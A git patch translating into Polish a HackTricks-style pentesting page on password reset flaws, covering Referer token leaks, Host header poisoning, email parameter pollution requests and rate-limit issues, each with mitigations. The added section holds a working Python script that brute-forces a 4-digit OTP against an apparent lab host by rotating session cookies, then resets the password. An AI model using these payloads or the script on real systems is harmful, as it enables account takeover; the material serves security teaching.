From de35ae2660446c4b5a2cd24ffb106b01873bcadc Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 13 Apr 2025 14:42:56 +0000 Subject: [PATCH] Translated ['src/pentesting-web/reset-password.md'] to pl --- src/pentesting-web/reset-password.md | 88 ++++++++++++++++++++++++---- 1 file changed, 76 insertions(+), 12 deletions(-) diff --git a/src/pentesting-web/reset-password.md b/src/pentesting-web/reset-password.md index 31ccef0f6..a544ca96b 100644 --- a/src/pentesting-web/reset-password.md +++ b/src/pentesting-web/reset-password.md @@ -2,24 +2,24 @@ {{#include ../banners/hacktricks-training.md}} -## **Wyciekanie Tokena Resetowania Hasła Poprzez Referer** +## **Wycieki Tokenów Resetowania Hasła Poprzez Referer** -- Nagłówek HTTP referer może wyciekać token resetowania hasła, jeśli jest zawarty w URL. Może to nastąpić, gdy użytkownik kliknie link do strony trzeciej po zażądaniu resetowania hasła. +- Nagłówek HTTP referer może ujawniać token resetowania hasła, jeśli jest zawarty w URL. Może to nastąpić, gdy użytkownik kliknie link do strony trzeciej po zażądaniu resetowania hasła. - **Wpływ**: Potencjalne przejęcie konta za pomocą ataków Cross-Site Request Forgery (CSRF). - **Eksploatacja**: Aby sprawdzić, czy token resetowania hasła wycieka w nagłówku referer, **zażądaj resetowania hasła** na swój adres e-mail i **kliknij link resetujący**. **Nie zmieniaj hasła** od razu. Zamiast tego, **przejdź do strony trzeciej** (takiej jak Facebook lub Twitter), jednocześnie **przechwytując żądania za pomocą Burp Suite**. Sprawdź żądania, aby zobaczyć, czy **nagłówek referer zawiera token resetowania hasła**, ponieważ może to ujawnić wrażliwe informacje osobom trzecim. - **Odnośniki**: - [HackerOne Report 342693](https://hackerone.com/reports/342693) - [HackerOne Report 272379](https://hackerone.com/reports/272379) -- [Artykuł o Wycieku Tokena Resetowania Hasła](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a) +- [Artykuł o Wycieku Tokenów Resetowania Hasła](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a) ## **Zatrucie Resetowania Hasła** -- Atakujący mogą manipulować nagłówkiem Host podczas żądań resetowania hasła, aby skierować link resetujący na złośliwą stronę. -- **Wpływ**: Prowadzi do potencjalnego przejęcia konta poprzez wyciek tokenów resetowania do atakujących. +- Atakujący mogą manipulować nagłówkiem Host podczas żądań resetowania hasła, aby skierować link resetujący do złośliwej strony. +- **Wpływ**: Prowadzi do potencjalnego przejęcia konta poprzez ujawnienie tokenów resetowania atakującym. - **Kroki łagodzące**: - Waliduj nagłówek Host w porównaniu do białej listy dozwolonych domen. - Używaj bezpiecznych, serwerowych metod do generowania absolutnych URL. -- **Łatka**: Użyj `$_SERVER['SERVER_NAME']` do konstruowania URL resetowania hasła zamiast `$_SERVER['HTTP_HOST']`. +- **Poprawka**: Użyj `$_SERVER['SERVER_NAME']` do konstruowania URL do resetowania hasła zamiast `$_SERVER['HTTP_HOST']`. - **Odnośniki**: - [Artykuł Acunetix o Zatruciu Resetowania Hasła](https://www.acunetix.com/blog/articles/password-reset-poisoning/) @@ -33,7 +33,7 @@ POST /resetPassword [...] email=victim@email.com&email=attacker@email.com ``` -- Dodaj email atakującego jako drugi parametr używając %20 +- Dodaj email atakującego jako drugi parametr, używając %20 ```php POST /resetPassword [...] @@ -45,7 +45,7 @@ POST /resetPassword [...] email=victim@email.com|email=attacker@email.com ``` -- Dodaj email atakującego jako drugi parametr, używając cc +- Dodaj adres e-mail atakującego jako drugi parametr, używając cc ```php POST /resetPassword [...] @@ -71,7 +71,7 @@ POST /resetPassword ``` - **Kroki łagodzenia**: - Prawidłowo analizuj i waliduj parametry e-mailowe po stronie serwera. -- Używaj przygotowanych instrukcji lub zapytań z parametrami, aby zapobiec atakom typu injection. +- Używaj przygotowanych zapytań lub zapytań z parametrami, aby zapobiec atakom typu injection. - **Referencje**: - [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be) - [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/) @@ -88,12 +88,12 @@ POST /api/changepass - **Kroki łagodzenia**: - Zapewnij ścisłą walidację parametrów i kontrole uwierzytelniania. - Wprowadź solidne logowanie i monitorowanie, aby wykrywać i reagować na podejrzane działania. -- **Referencja**: +- **Referencje**: - [Pełne przejęcie konta za pomocą manipulacji parametrami API](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240) ## **Brak ograniczeń szybkości: Bombardowanie e-mailem** -- Brak ograniczeń szybkości w żądaniach resetowania hasła może prowadzić do bombardowania e-mailem, przytłaczając użytkownika e-mailami resetującymi. +- Brak ograniczeń szybkości w żądaniach resetowania hasła może prowadzić do bombardowania e-mailem, przytłaczając użytkownika wiadomościami o resetowaniu. - **Kroki łagodzenia**: - Wprowadź ograniczenia szybkości na podstawie adresu IP lub konta użytkownika. - Użyj wyzwań CAPTCHA, aby zapobiec automatycznemu nadużywaniu. @@ -132,7 +132,7 @@ uuid-insecurities.md - **Kroki łagodzenia**: - Wprowadź kontrole po stronie serwera, aby zapewnić integralność odpowiedzi. - Użyj bezpiecznych kanałów komunikacyjnych, takich jak HTTPS, aby zapobiec atakom typu man-in-the-middle. -- **Referencja**: +- **Referencje**: - [Krytyczny błąd w wydarzeniu Live Bug Bounty](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3) ## **Używanie wygasłego tokena** @@ -166,6 +166,70 @@ uuid-insecurities.md - **Kroki łagodzenia**: - Ustaw rozsądny czas wygaśnięcia dla tokenów resetowania i ściśle egzekwuj go po stronie serwera. +## **Ominięcie limitu szybkości OTP poprzez zmianę sesji** + +- Jeśli strona internetowa używa sesji użytkownika do śledzenia błędnych prób OTP, a OTP był słaby (<= 4 cyfry), to możemy skutecznie złamać OTP. +- **eksploatacja**: +- po prostu poproś o nowy token sesji po zablokowaniu przez serwer. +- **Przykład** kodu, który wykorzystuje ten błąd, zgadując losowo OTP (gdy zmienisz sesję, OTP również się zmieni, więc nie będziemy mogli go łamać sekwencyjnie!): + +``` python +# Ominięcie uwierzytelniania przez reset hasła +# autor coderMohammed +import requests +import random +from time import sleep + +headers = { +"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1", +"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea" +} +url = "http://10.10.12.231:1337/reset_password.php" +logout = "http://10.10.12.231:1337/logout.php" +root = "http://10.10.12.231:1337/" + +parms = dict() +ter = 0 +phpsessid = "" + +print("[+] Rozpoczynanie ataku!") +sleep(3) +print("[+] To może zająć około 5 minut!") + +try: +while True: +parms["recovery_code"] = f"{random.randint(0, 9999):04}" # losowa liczba od 0 do 9999 z 4 cyframi +parms["s"] = 164 # nieistotne, wpływa tylko na frontend +res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers) + +if ter == 8: # liczba prób +out = requests.get(logout,headers=headers) # wylogowuje cię +mainp = requests.get(root) # pobiera inny phpssid (token) + +cookies = out.cookies # wyciąga sessionid +phpsessid = cookies.get('PHPSESSID') +headers["cookies"]=f"PHPSESSID={phpsessid}" # aktualizuje nagłówki z nową sesją + +reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # wysyła e-mail do zmiany hasła +ter = 0 # resetuje ter, aby uzyskać nową sesję po 8 próbach +else: +ter += 1 +if(len(res.text) == 2292): # to jest długość strony, gdy poprawnie uzyskasz kod odzyskiwania (uzyskane przez testowanie) +print(len(res.text)) # dla informacji debugowania +print(phpsessid) + +reset_data = { # tutaj zmienimy hasło na coś nowego +"new_password": "D37djkamd!", +"confirm_password": "D37djkamd!" +} +reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers) + +print("[+] Hasło zostało zmienione na: D37djkamd!") +break +except Exception as e: +print("[+] Atak zatrzymany") +``` + ## Referencje - [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)